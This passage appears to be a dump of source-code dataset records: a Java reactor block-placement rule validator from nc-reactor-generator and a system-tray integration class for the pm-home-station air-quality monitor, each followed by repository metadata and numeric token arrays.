for (AbstractBlock b : block.getActiveAdjacent(reactor)) {
if (blockMatches(b, reactor)) num++;
}
}
return num >= min && num <= max;
case AXIAL:
for(Axis axis : Axis.axes){
if(!reactor.contains(block.x - axis.x, block.y - axis.y, block.z - axis.z))continue;
if(!reactor.contains(block.x + axis.x, block.y + axis.y, block.z + axis.z))continue;
AbstractBlock b1 = reactor.getBlock(block.x - axis.x, block.y - axis.y, block.z - axis.z);
AbstractBlock b2 = reactor.getBlock(block.x + axis.x, block.y + axis.y, block.z + axis.z);
if (isAirMatch) {
if (b1 == null && b2 == null) num++;
} else {
if (b1 == null || b2 == null) continue;
if (!b1.isActive() || !b2.isActive()) continue;
if (blockMatches(b1, reactor) && blockMatches(b2, reactor)) num++;
}
}
return num >= min && num <= max;
case VERTEX:
case EDGE:
boolean[] dirs = new boolean[Direction.values().length];
for (Direction d : Direction.values()) {
if(!reactor.contains(block.x + d.x, block.y + d.y, block.z + d.z))continue;
AbstractBlock b = reactor.getBlock(block.x + d.x, block.y + d.y, block.z + d.z);
if (isAirMatch) {
if (b == null) dirs[d.ordinal()] = true;
} else {
if(b==null)continue;
if (b.isActive() && blockMatches(b, reactor)) dirs[d.ordinal()] = true;
}
}
if (rule == RuleType.VERTEX) {
outer: for (Vertex e : Vertex.values()) {
for (Direction d : e.directions) {
if (!dirs[d.ordinal()]) continue outer;
}
return true;
}
} else if (rule == RuleType.EDGE) {
outer: for (Edge e : Edge.values()) {
for (Direction d : e.directions) {
if (!dirs[d.ordinal()]) continue outer;
}
return true;
}
}
return false;
case AND:
for (NCPFPlacementRule rule : rules) {
if (!rule.isValid(block, reactor)) return false;
}
return true;
case OR:
for (NCPFPlacementRule rule : rules) {
if (rule.isValid(block, reactor)) return true;
}
return false;
}
throw new IllegalArgumentException("Unknown rule type: " + rule);
}
@Override
public void setReferences(List<NCPFElement> lst){
rules.forEach((t) -> t.setReferences(lst));
if(lst==null){
if(target==null)return;
if(target.definition.typeMatches(NCPFModuleElement::new)){
target = target.copyTo(NCPFModuleReference::new);
}else target = target.copyTo(NCPFElementReference::new);
}
if(!rule.hasSubRules)target.setReferences(lst);
}
}
| 13,149
|
Java
|
.java
|
ThizThizzyDizzy/nc-reactor-generator
| 32
| 5
| 41
|
2020-03-31T00:11:45Z
|
2024-05-03T02:44:28Z
|
54357e830b6ce59c95d243d4c9631f8fc7ea365d7c2cd3040e791c69110cc29b
|
[
1337,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
115,
45757,
64,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1058,
51,
1144,
51,
2466,
64,
222,
485,
1401,
51,
1058,
51,
1144,
51,
17612,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
7758,
947,
827,
51,
6370,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
7758,
947,
827,
51,
5597,
2246,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
7758,
947,
827,
51,
5235,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
7758,
947,
827,
51,
6535,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
7758,
947,
827,
51,
11253,
947,
827,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
7758,
947,
827,
51,
5647,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
115,
45757,
51,
2559,
51,
83,
2973,
75,
11679,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
115,
45757,
51,
2559,
51,
83,
2973,
75,
2478,
1325,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
115,
45757,
51,
735,
51,
83,
2973,
75,
976,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
115,
45757,
51,
1663,
51,
83,
2973,
75,
2478,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
33830,
51,
48786,
64,
222,
485,
3723,
51,
6667,
33830,
51,
33830,
738,
51,
33830,
51,
115,
45757,
51,
1663,
51,
14493,
2478,
64,
222,
942,
462,
508,
2973,
75,
19046,
3855,
2041,
34918,
83,
2973,
75,
976,
128,
303,
581,
13712,
638,
5760,
64,
303,
581,
508,
2973,
75,
1325,
3580,
1780,
15345,
1540,
575,
2313,
4141,
303,
581,
648,
1865,
64,
303,
581,
648,
1788,
64,
303,
581,
1701,
65,
83,
2973,
75,
19046,
3855,
67,
7032,
299,
556,
5068,
6984,
303,
496,
1806,
303,
581,
782,
4511,
1811,
976,
45,
83,
2973,
75,
976,
329,
45757,
1528,
310,
5760,
299,
13712,
638,
51,
2892,
45,
115,
45757,
51,
7080,
459,
700,
2992,
310,
434,
45,
5286,
51,
2057,
13024,
1528,
343,
1865,
299,
329,
45757,
51,
48837,
459,
907,
742,
343,
1788,
299,
329,
45757,
51,
48837,
459,
1472,
742,
310,
339,
310,
434,
45,
5286,
51,
2057,
1736,
9156,
1528,
343,
7032,
299,
329,
45757,
51,
390,
12425,
83,
2973,
75,
739,
459,
7021,
411,
508,
2973,
75,
19046,
3855,
422,
909,
312,
310,
339,
728,
128,
343,
1780,
299,
329,
45757,
51,
390,
12425,
2478,
1543,
1325,
3580,
459,
1540,
742,
310,
339,
303,
339,
303,
496,
1806,
303,
581,
782,
4511,
37967,
45,
83,
2973,
75,
976,
329,
45757,
1528,
310,
329,
45757,
51,
24341,
459,
700,
411,
5760,
51,
444,
312,
310,
434,
45,
5286,
51,
2057,
13024,
1528,
343,
329,
45757,
51,
489,
3078,
459,
907,
411,
1865,
312,
343,
329,
45757,
51,
489,
3078,
459,
1472,
411,
1788,
312,
310,
339,
310,
434,
45,
5286,
51,
2057,
1736,
9156,
1528,
343,
329,
45757,
51,
489,
12425,
83,
2973,
75,
739,
459,
7021,
411,
7032,
312,
310,
339,
728,
128,
343,
329,
45757,
51,
489,
12425,
83,
2973,
75,
976,
459,
1540,
411,
1780,
312,
310,
339,
303,
339,
303,
581,
1922,
4326,
2937,
45,
83,
2973,
75,
11679,
5658,
1528,
310,
434,
45,
5286,
51,
2057,
1736,
9156,
1528,
343,
456,
45,
83,
2973,
75,
19046,
3855,
5760,
518,
7032,
1528,
419,
434,
45,
5286,
51,
4766,
2937,
45,
7401,
509,
620,
878,
64,
343,
339,
343,
461,
920,
64,
310,
339,
728,
128,
343,
461,
1780,
51,
7401,
51,
8936,
45,
7401,
312,
310,
339,
303,
339,
303,
581,
3858,
13712,
638,
128,
310,
47912,
459,
12558,
411,
878,
49,
920,
490,
310,
23329,
5803,
459,
668,
583,
411,
878,
49,
920,
490,
310,
694,
10512,
1478,
459,
9317,
411,
920,
49,
920,
490,
310,
11918,
3076,
459,
5874,
411,
920,
49,
920,
490,
310,
1895,
459,
290,
411,
920,
49,
878,
490,
310,
3133,
459,
382,
411,
920,
49,
878,
312,
310,
964,
924,
13712,
638,
2549,
45,
671,
821,
1528,
343,
456,
45,
3855,
638,
5760,
518,
2102,
1177,
344,
45,
5286,
51,
444,
51,
3591,
45,
819,
509,
620,
5760,
64,
343,
461,
762,
64,
310,
339,
310,
964,
1175,
910,
655,
64,
310,
581,
1175,
1922,
1421,
13024,
64,
310,
581,
1175,
1922,
1421,
1736,
9156,
64,
310,
964,
13712,
638,
45,
671,
655,
49,
1922,
1421,
13024,
49,
1922,
1421,
1736,
9156,
1528,
343,
477,
51,
444,
299,
655,
64,
343,
477,
51,
2057,
13024,
299,
1421,
13024,
64,
343,
477,
51,
2057,
1736,
9156,
299,
1421,
1736,
9156,
64,
310,
339,
303,
339,
303,
581,
350,
89,
2041,
508,
2973,
75,
19046,
3855,
67,
413,
3203,
39883,
45,
671,
615,
49,
34549,
65,
89,
67,
556,
3855,
49,
4564,
65,
671,
49,
34549,
65,
83,
2973,
75,
2478,
2023,
2181,
2439,
49,
4564,
65,
671,
49,
508,
2973,
75,
1325,
3580,
67,
9072,
1528,
310,
434,
327,
484,
51,
4766,
459,
4711,
2152,
320,
343,
477,
51,
5286,
299,
13712,
638,
51,
776,
64,
343,
456,
327,
671,
1381,
518,
910,
1747,
51,
3045,
45,
484,
49,
18469,
129,
1750,
129,
21133,
419,
477,
51,
7021,
51,
688,
45,
909,
3855,
51,
390,
941,
2228,
39883,
45,
1133,
51,
5475,
1046,
556,
3855,
49,
2181,
2439,
49,
9072,
894,
343,
339,
310,
339,
832,
434,
327,
484,
51,
4766,
459,
6017,
2152,
320,
343,
477,
51,
5286,
299,
13712,
638,
51,
3362,
64,
343,
456,
327,
671,
1381,
518,
910,
1747,
51,
3045,
45,
484,
49,
332,
6017,
2152,
320,
419,
477,
51,
7021,
51,
688,
45,
909,
3855,
51,
390,
941,
2228,
39883,
45,
1133,
51,
5475,
1046,
556,
3855,
49,
2181,
2439,
49,
9072,
894,
343,
339,
310,
339,
832,
320,
343,
434,
327,
484,
51,
13907,
459,
288,
6247,
29583,
615,
299,
615,
51,
8724,
459,
288,
6247,
4956,
1340,
1052,
343,
1922,
11153,
299,
615,
51,
13907,
459,
16964,
651,
742,
343,
434,
327,
16964,
651,
46,
615,
299,
615,
51,
8724,
45,
60,
566,
5475,
492,
1083,
648,
5190,
299,
244,
53,
64,
343,
434,
327,
484,
51,
13907,
459,
6187,
2152,
320,
419,
5190,
299,
244,
53,
64,
419,
615,
299,
615,
51,
8724,
45,
57,
566,
5475,
492,
343,
339,
832,
434,
327,
484,
51,
13907,
459,
677,
2152,
320,
419,
5190,
299,
244,
54,
64,
419,
615,
299,
615,
51,
8724,
45,
56,
566,
5475,
492,
343,
339,
832,
434,
327,
484,
51,
13907,
459,
8295,
2152,
320,
419,
5190,
299,
244,
55,
64,
419,
615,
299,
615,
51,
8724,
45,
56,
566,
5475,
492,
343,
339,
832,
434,
327,
484,
51,
13907,
459,
12199,
2152,
320,
419,
5190,
299,
244,
56,
64,
419,
615,
299,
615,
51,
8724,
45,
58,
566,
5475,
492,
343,
339,
832,
434,
327,
484,
51,
13907,
459,
17531,
2152,
320,
419,
5190,
299,
244,
57,
64,
419,
615,
299,
615,
51,
8724,
45,
57,
566,
5475,
492,
343,
339,
832,
434,
327,
484,
51,
13907,
459,
21943,
2152,
320,
419,
5190,
299,
244,
58,
64,
419,
615,
299,
615,
51,
8724,
45,
57,
566,
5475,
492,
343,
339,
832,
434,
327,
484,
51,
13907,
459,
25924,
2152,
320,
419,
5190,
299,
244,
59,
64,
419,
615,
299,
615,
51,
8724,
45,
56,
566,
5475,
492,
343,
339,
1083,
1922,
3405,
583,
299,
615,
51,
13907,
459,
668,
583,
742,
343,
434,
327,
668,
583,
46,
615,
299,
615,
51,
8724,
45,
58,
566,
5475,
492,
1083,
434,
45,
484,
51,
13907,
459,
1048,
1364,
29583,
484,
299,
615,
51,
8724,
459,
1048,
1364,
4956,
1340,
1052,
343,
34549,
65,
83,
2973,
75,
2478,
67,
847,
299,
2181,
2439,
51,
4740,
45,
484,
312,
343,
508,
2973,
75,
1325,
3580,
2181,
299,
847,
398,
1710,
68,
8597,
51,
4740,
45,
484,
731,
1710,
64,
1083,
434,
327,
700,
630,
762,
979,
2181,
630,
762,
46,
419,
1440,
556,
12134,
459,
5296,
391,
3203,
5760,
332,
494,
615,
494,
10697,
2181,
458,
762,
9318,
343,
434,
327,
16964,
651,
979,
3405,
583,
46,
320,
419,
477,
51,
5286,
299,
13712,
638,
51,
3362,
64,
419,
413,
559,
357,
54,
299,
556,
3855,
51,
390,
492,
419,
413,
559,
357,
55,
299,
556,
3855,
51,
390,
492,
419,
434,
327,
700,
882,
762,
46,
320,
547,
559,
357,
54,
51,
5286,
299,
13712,
638,
51,
71,
36410,
64,
547,
559,
357,
55,
51,
5286,
299,
13712,
638,
51,
4311,
5803,
64,
547,
559,
357,
54,
51,
2000,
299,
556,
508,
2973,
75,
2478,
3580,
45,
700,
312,
547,
559,
357,
55,
51,
2000,
299,
556,
508,
2973,
75,
2478,
3580,
45,
700,
312,
419,
339,
832,
320,
547,
559,
357,
54,
51,
5286,
299,
13712,
638,
51,
71,
36410,
64,
547,
559,
357,
55,
51,
5286,
299,
13712,
638,
51,
4311,
5803,
64,
547,
559,
357,
54,
51,
2000,
299,
559,
357,
55,
51,
2000,
299,
2181,
64,
419,
339,
419,
559,
357,
54,
51,
907,
299,
559,
357,
54,
51,
1472,
299,
327,
2278,
46,
5190,
64,
419,
559,
357,
55,
51,
907,
299,
559,
357,
55,
51,
1472,
299,
327,
2278,
46,
327,
5568,
536,
244,
55,
312,
419,
477,
51,
7021,
51,
688,
45,
119,
357,
54,
312,
419,
477,
51,
7021,
51,
688,
45,
119,
357,
55,
312,
343,
339,
832,
320,
419,
648,
1865,
299,
5190,
64,
419,
648,
1788,
299,
244,
59,
64,
419,
434,
327,
16964,
651,
46,
1788,
299,
1865,
64,
2125,
434,
327,
700,
882,
762,
46,
320,
547,
477,
51,
5286,
299,
3405,
583,
1037,
13712,
638,
51,
4311,
5803,
518,
13712,
638,
51,
71,
36410,
64,
547,
477,
51,
2000,
299,
556,
508,
2973,
75,
2478,
3580,
45,
700,
312,
419,
339,
832,
320,
547,
477,
51,
5286,
299,
3405,
583,
1037,
13712,
638,
51,
4311,
5803,
518,
13712,
638,
51,
71,
36410,
64,
547,
477,
51,
2000,
299,
2181,
64,
419,
339,
419,
434,
327,
668,
583,
46,
320,
547,
1865,
14414,
244,
55,
64,
547,
1788,
14414,
244,
55,
64,
419,
339,
419,
477,
51,
907,
299,
327,
2278,
46,
1865,
64,
419,
477,
51,
1472,
299,
327,
2278,
46,
1788,
64,
343,
339,
310,
339,
310,
461,
327,
89,
46,
597,
64,
303,
339,
303,
964,
910,
640,
2937,
577,
3261,
310,
461,
1780,
398,
1710,
68,
1710,
63,
2000,
51,
390,
12572,
492,
303,
339,
303,
581,
910,
391,
12896,
671,
3261,
310,
434,
45,
5286,
6917,
1710,
1528,
343,
3593,
327,
5286,
46,
320,
419,
1152,
47912,
63,
547,
434,
327,
1472,
630,
244,
59,
46,
461,
332,
1094,
6247,
332,
494,
1865,
494,
332,
332,
494,
640,
2937,
577,
492,
547,
434,
327,
907,
630,
1788,
46,
461,
332,
29121,
332,
494,
1865,
494,
332,
332,
494,
640,
2937,
577,
492,
547,
461,
332,
16149,
332,
494,
1865,
494,
332,
480,
332,
494,
1788,
494,
332,
332,
494,
640,
2937,
577,
492,
419,
1152,
23329,
5803,
63,
547,
434,
327,
1472,
630,
244,
56,
46,
461,
332,
1094,
6247,
332,
494,
1865,
494,
332,
17150,
583,
11886,
451,
332,
494,
640,
2937,
577,
492,
547,
434,
327,
907,
630,
1788,
46,
461,
332,
29121,
332,
494,
1865,
494,
332,
17150,
583,
11886,
451,
332,
494,
640,
2937,
577,
492,
547,
461,
332,
16149,
332,
494,
1865,
494,
332,
480,
332,
494,
1788,
494,
332,
17150,
583,
11886,
451,
332,
494,
640,
2937,
577,
492,
419,
1152,
694,
10512,
1478,
63,
547,
461,
332,
17828,
332,
494,
640,
2937,
577,
365,
494,
332,
840,
341,
2454,
9230,
884,
419,
1152,
11918,
3076,
63,
547,
461,
332,
8625,
332,
494,
640,
2937,
577,
365,
494,
332,
840,
341,
2454,
6766,
884,
419,
1152,
3133,
63,
547,
9705,
328,
299,
556,
9705,
492,
547,
456,
327,
83,
2973,
75,
19046,
3855,
5760,
518,
7032,
46,
320,
733,
328,
51,
1713,
459,
3133,
18267,
1713,
45,
5286,
51,
471,
12896,
671,
1052,
547,
339,
547,
461,
327,
120,
51,
1340,
365,
630,
244,
53,
46,
1037,
328,
51,
3127,
365,
518,
910,
1747,
51,
8724,
45,
120,
49,
244,
58,
312,
419,
1152,
1895,
63,
547,
328,
299,
556,
9705,
492,
547,
456,
327,
83,
2973,
75,
19046,
3855,
5760,
518,
7032,
46,
320,
733,
328,
51,
1713,
459,
1895,
18267,
1713,
45,
5286,
51,
471,
12896,
671,
1052,
547,
339,
547,
461,
327,
120,
51,
1340,
365,
630,
244,
53,
46,
1037,
328,
51,
3127,
365,
518,
910,
1747,
51,
8724,
45,
120,
49,
244,
57,
312,
343,
339,
310,
339,
310,
461,
332,
5850,
13712,
884,
303,
339,
303,
964,
1922,
458,
14493,
3683,
365,
320,
310,
461,
1780,
6917,
1710,
6017,
2000,
51,
7401,
51,
8936,
45,
909,
508,
2973,
75,
2478,
3580,
45,
14493,
2478,
422,
909,
566,
7401,
312,
303,
339,
303,
964,
350,
89,
2041,
7406,
2246,
67,
1922,
2181,
16189,
45,
5597,
2246,
2181,
49,
18514,
947,
827,
65,
89,
67,
30605,
46,
320,
310,
434,
45,
2000,
51,
7401,
5118,
508,
2973,
75,
2478,
1325,
1528,
343,
508,
2973,
75,
2478,
3580,
2313,
3580,
299,
1780,
51,
3014,
724,
45,
83,
2973,
75,
2478,
3580,
422,
909,
312,
343,
2313,
3580,
51,
489,
15651,
45,
1710,
312,
343,
434,
45,
1663,
3580,
51,
7401,
51,
8936,
45,
909,
508,
2973,
75,
2478,
3580,
45,
14493,
2478,
422,
909,
566,
7401,
509,
620,
2181,
398,
1710,
64,
343,
461,
2181,
6917,
1710,
6017,
1540,
51,
390,
3455,
941,
2057,
2478,
45,
1663,
3580,
51,
1663,
312,
310,
339,
728,
128,
343,
461,
2181,
6917,
1710,
6017,
1540,
51,
390,
3455,
941,
7401,
51,
8936,
45,
2000,
51,
7401,
312,
310,
339,
303,
339,
303,
581,
350,
89,
2041,
7406,
2246,
67,
1922,
20424,
45,
5597,
2246,
2181,
49,
18514,
947,
827,
65,
89,
67,
30605,
46,
320,
310,
648,
1952,
299,
244,
53,
64,
310,
1922,
458,
14493,
3683,
299,
458,
14493,
3683,
492,
310,
3593,
327,
5286,
46,
320,
343,
1152,
47912,
63,
419,
434,
327,
316,
14493,
3683,
46,
320,
547,
1952,
299,
244,
59,
449,
2181,
51,
390,
44712,
45,
41578,
566,
911,
492,
419,
339,
832,
320,
547,
456,
327,
5597,
2246,
342,
518,
2181,
51,
21637,
44712,
45,
41578,
509,
320,
733,
434,
327,
1540,
16189,
45,
103,
49,
30605,
509,
1952,
3348,
547,
339,
419,
339,
419,
461,
1952,
2394,
1865,
979,
1952,
2527,
1788,
64,
343,
1152,
23329,
5803,
63,
419,
456,
45,
6370,
6100,
518,
27365,
51,
15273,
1528,
547,
434,
3848,
41578,
51,
4766,
45,
1540,
51,
125,
449,
6100,
51,
125,
49,
2181,
51,
126,
449,
6100,
51,
126,
49,
2181,
51,
127,
449,
6100,
51,
127,
509,
7514,
64,
547,
434,
3848,
41578,
51,
4766,
45,
1540,
51,
125,
494,
6100,
51,
125,
49,
2181,
51,
126,
494,
6100,
51,
126,
49,
2181,
51,
127,
494,
6100,
51,
127,
509,
7514,
64,
547,
7406,
2246,
342,
54,
299,
30605,
51,
25641,
45,
1540,
51,
125,
449,
6100,
51,
125,
49,
2181,
51,
126,
449,
6100,
51,
126,
49,
2181,
51,
127,
449,
6100,
51,
127,
312,
547,
7406,
2246,
342,
55,
299,
30605,
51,
25641,
45,
1540,
51,
125,
494,
6100,
51,
125,
49,
2181,
51,
126,
494,
6100,
51,
126,
49,
2181,
51,
127,
494,
6100,
51,
127,
312,
547,
434,
327,
316,
14493,
3683,
46,
320,
733,
434,
327,
103,
54,
630,
762,
979,
342,
55,
630,
762,
46,
1952,
3348,
547,
339,
832,
320,
733,
434,
327,
103,
54,
630,
762,
1293,
342,
55,
630,
762,
46,
4056,
64,
733,
434,
1445,
103,
54,
51,
22630,
365,
1293,
673,
103,
55,
51,
22630,
1177,
4056,
64,
733,
434,
327,
1540,
16189,
45,
103,
54,
49,
30605,
46,
979,
2181,
16189,
45,
103,
55,
49,
30605,
509,
1952,
3348,
547,
339,
419,
339,
419,
461,
1952,
2394,
1865,
979,
1952,
2527,
1788,
64,
343,
1152,
694,
10512,
1478,
63,
343,
1152,
11918,
3076,
63,
419,
1922,
1197,
29178,
299,
556,
1922,
96,
5235,
51,
2857,
941,
1340,
988,
419,
456,
327,
5235,
362,
518,
17379,
51,
2857,
1177,
320,
547,
434,
3848,
41578,
51,
4766,
45,
1540,
51,
125,
494,
362,
51,
125,
49,
2181,
51,
126,
494,
362,
51,
126,
49,
2181,
51,
127,
494,
362,
51,
127,
509,
7514,
64,
547,
7406,
2246,
342,
299,
30605,
51,
25641,
45,
1540,
51,
125,
494,
362,
51,
125,
49,
2181,
51,
126,
494,
362,
51,
126,
49,
2181,
51,
127,
494,
362,
51,
127,
312,
547,
434,
327,
316,
14493,
3683,
46,
320,
733,
434,
327,
103,
630,
762,
46,
29178,
96,
105,
51,
18537,
7688,
299,
878,
64,
547,
339,
832,
320,
733,
434,
45,
103,
398,
1710,
46,
7514,
64,
733,
434,
327,
103,
51,
22630,
365,
979,
2181,
16189,
45,
103,
49,
30605,
509,
29178,
96,
105,
51,
18537,
7688,
299,
878,
64,
547,
339,
419,
339,
419,
434,
327,
5286,
630,
13712,
638,
51,
20366,
46,
320,
547,
16167,
63,
456,
327,
5647,
503,
518,
15657,
51,
2857,
1177,
320,
733,
456,
327,
5235,
362,
518,
503,
51,
40129,
46,
320,
1031,
434,
1445,
15617,
96,
105,
51,
18537,
28160,
4056,
16167,
64,
733,
339,
733,
461,
878,
64,
547,
339,
419,
339,
832,
434,
327,
5286,
630,
13712,
638,
51,
26372,
46,
320,
547,
16167,
63,
456,
327,
6535,
503,
518,
11284,
51,
2857,
1177,
320,
733,
456,
327,
5235,
362,
518,
503,
51,
40129,
46,
320,
1031,
434,
1445,
15617,
96,
105,
51,
18537,
28160,
4056,
16167,
64,
733,
339,
733,
461,
878,
64,
547,
339,
419,
339,
419,
461,
920,
64,
343,
1152,
3133,
63,
419,
456,
327,
83,
2973,
75,
19046,
3855,
5760,
518,
7032,
46,
320,
547,
434,
1445,
5286,
51,
13431,
45,
1540,
49,
30605,
509,
461,
920,
64,
419,
339,
419,
461,
878,
64,
343,
1152,
1895,
63,
419,
456,
327,
83,
2973,
75,
19046,
3855,
5760,
518,
7032,
46,
320,
547,
434,
327,
5286,
51,
13431,
45,
1540,
49,
30605,
509,
461,
878,
64,
419,
339,
419,
461,
920,
64,
310,
339,
310,
1440,
556,
12134,
459,
5850,
5760,
847,
63,
332,
494,
5760,
312,
303,
339,
303,
496,
1806,
303,
581,
782,
758,
15651,
45,
739,
65,
83,
2973,
75,
1325,
67,
20408,
1528,
310,
7032,
51,
5388,
1181,
121,
46,
984,
292,
51,
489,
15651,
45,
10015,
894,
310,
434,
45,
10015,
398,
1710,
1528,
343,
434,
45,
2000,
398,
1710,
46,
620,
64,
343,
434,
45,
2000,
51,
7401,
51,
700,
16189,
45,
83,
2973,
75,
2478,
1325,
422,
909,
7717,
419,
1780,
299,
1780,
51,
3014,
724,
45,
83,
2973,
75,
2478,
3580,
422,
909,
312,
343,
339,
728,
1780,
299,
1780,
51,
3014,
724,
45,
83,
2973,
75,
1325,
3580,
422,
909,
312,
310,
339,
310,
434,
3848,
5286,
51,
2057,
1736,
9156,
46,
2000,
51,
489,
15651,
45,
10015,
312,
303,
339,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 3,150
| true
| 51.083733
| true
| true
|
NativeTrayIntegration.java
|
/FileExtraction/Java_unseen/rjaros87_pm-home-station/desktop/src/main/java/pmstation/integration/NativeTrayIntegration.java
|
/*
* pm-home-station
* 2017 (C) Copyright - https://github.com/rjaros87/pm-home-station
* License: GPL 3.0
*/
package pmstation.integration;
import java.awt.Image;
import java.awt.MenuItem;
import java.awt.PopupMenu;
import java.awt.SystemTray;
import java.awt.TrayIcon;
import java.awt.TrayIcon.MessageType;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import pmstation.Station;
import pmstation.aqi.AQI10Level;
import pmstation.aqi.AQI25Level;
import pmstation.aqi.AQIRiskLevel;
import pmstation.configuration.Constants;
import pmstation.core.plantower.IPlanTowerObserver;
import pmstation.core.plantower.ParticulateMatterSample;
import pmstation.helpers.ResourceHelper;
public class NativeTrayIntegration {
private static final Logger logger = LoggerFactory.getLogger(NativeTrayIntegration.class);
private static final String APP_ICON_FORMAT = "app-icon-%s.png";
private final Station station;
private final Map<AQIRiskLevel, Image> scaryIcons = new HashMap<>();
private Image defaultIcon = null;
private Image disconnectedIcon = null;
private TrayIcon menuBarIcon;
public NativeTrayIntegration(Station station) {
this.station = station;
}
public void integrate() {
if (!SystemTray.isSupported()) {
logger.info("System tray is not supported on this OS");
return;
}
loadIcons();
if (defaultIcon == null) {
logger.warn("No default icon found in resources - no integration with system tray");
return;
}
PopupMenu menu = new PopupMenu();
MenuItem infoMenuItem = new MenuItem("No measurements");
infoMenuItem.setEnabled(false);
menu.add(infoMenuItem);
menu.addSeparator();
MenuItem itemMainWindow = new MenuItem("Main window");
itemMainWindow.addActionListener((e) -> station.setVisible(true));
menu.add(itemMainWindow);
MenuItem itemPrefs = new MenuItem("Preferences");
itemPrefs.addActionListener((e) -> station.openConfigDlg());
menu.add(itemPrefs);
menu.addSeparator();
MenuItem itemQuit = new MenuItem("Quit");
itemQuit.addActionListener((e) -> station.closeApp());
menu.add(itemQuit);
try {
SystemTray tray = SystemTray.getSystemTray();
menuBarIcon = new TrayIcon(defaultIcon, "pm-home-station", menu);
station.addObserver(new IPlanTowerObserver() {
private volatile boolean warnDisconnect = true;
@Override
public void update(ParticulateMatterSample sample) {
infoMenuItem.setLabel("PM1.0: " + sample.getPm1_0() + ", " +
"PM2.5: " + sample.getPm2_5() + ", " +
"PM10: " + sample.getPm10() + " (" + Constants.PM_UNITS + ")");
String toolTip = "PM1.0 : " + sample.getPm1_0() + Constants.PM_UNITS + " \n" + // space before \n required for Linux/Gnome as they don't support line breaks
"PM2.5 : " + sample.getPm2_5() + Constants.PM_UNITS + " \n" +
"PM10 : " + sample.getPm10() + Constants.PM_UNITS;
if (sample.getHcho() >= 0 && sample.getHumidity() >= 0 && sample.getTemperature() != Double.NaN) {
toolTip += " \n" +
"CH\u2082O : " + ((double)sample.getHcho())/1000 + Constants.HHCO_MG_UNITS + " \n" +
"RH : " + sample.getHumidity() + Constants.HUMI_UNITS + " \n" + // add'l spaces for macOS (non monospace fonts :/)
"Temp : " + sample.getTemperature() + Constants.TEMP_UNITS;
}
menuBarIcon.setToolTip(toolTip);
setScaryIcon(menuBarIcon, AQI25Level.fromValue(sample.getPm2_5()), AQI10Level.fromValue(sample.getPm10()));
}
@Override
public void connecting() {
menuBarIcon.setToolTip("Connecting...");
infoMenuItem.setLabel("Connecting...");
}
@Override
public void connected() {
warnDisconnect = true;
}
@Override
public void disconnected() {
menuBarIcon.setImage(disconnectedIcon != null ? disconnectedIcon : defaultIcon);
if (warnDisconnect) {
displayTrayMessage("Device disconnected", "Sensor has just been disconnected");
}
menuBarIcon.setToolTip("Disconnected");
infoMenuItem.setLabel("Disconnected");
}
@Override
public void disconnecting() {
warnDisconnect = false;
menuBarIcon.setToolTip("Disconnecting...");
infoMenuItem.setLabel("Disconnecting...");
}
});
tray.add(menuBarIcon);
menuBarIcon.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
if(e.getClickCount() >= 2){
station.setVisible(true);
}
}
});
} catch (Exception e) {
logger.error("Error adding menubar app to OSX menubar", e);
}
}
public void displayTrayMessage(String title, String message) {
if (menuBarIcon != null) {
menuBarIcon.displayMessage(title, message, MessageType.INFO);
}
}
private void setScaryIcon(TrayIcon menuBarIcon, AQI25Level pm2, AQI10Level pm10) {
Image icon = pm2.worseThan(pm10) ? scaryIcons.get(pm2.getRiskLevel()) : scaryIcons.get(pm10.getRiskLevel());
menuBarIcon.setImage(icon != null ? icon : defaultIcon);
}
private Image getIcon(String name) throws IOException {
BufferedImage trayIconImage = ResourceHelper.getAppIcon(name);
int trayIconWidth = new TrayIcon(trayIconImage).getSize().width;
return trayIconImage.getScaledInstance(trayIconWidth, -1, Image.SCALE_SMOOTH); // scaling is better for Win7
}
private void loadIcons() {
for (AQIRiskLevel level : AQIRiskLevel.values()) {
try {
scaryIcons.put(level, getIcon(String.format(APP_ICON_FORMAT, level.name().toLowerCase())));
} catch (Exception e) {
logger.error("Error loading scary toolbar icon for level: {}", level, e);
}
}
try {
disconnectedIcon = getIcon(String.format(APP_ICON_FORMAT, "disconnected"));
defaultIcon = disconnectedIcon;
} catch (IOException e) {
logger.error("Error loading scary toolbar icon for disconnected", e);
}
}
}
| 7,440
|
Java
|
.java
|
rjaros87/pm-home-station
| 33
| 5
| 5
|
2017-11-16T06:32:00Z
|
2024-03-24T21:30:39Z
|
1bfb0428c7c4f887097083611ec03e8ac15fe98f6534b46b96399c464c4683be
|
[
1127,
222,
338,
15705,
50,
2849,
50,
13596,
222,
338,
244,
55,
53,
54,
60,
327,
72,
46,
2657,
449,
1698,
574,
951,
51,
527,
52,
119,
6873,
519,
61,
60,
52,
4921,
50,
2849,
50,
13596,
222,
338,
1196,
63,
23508,
244,
56,
51,
53,
222,
588,
222,
1337,
15705,
13596,
51,
11623,
64,
222,
222,
485,
1401,
51,
8236,
51,
1675,
64,
222,
485,
1401,
51,
8236,
51,
6362,
64,
222,
485,
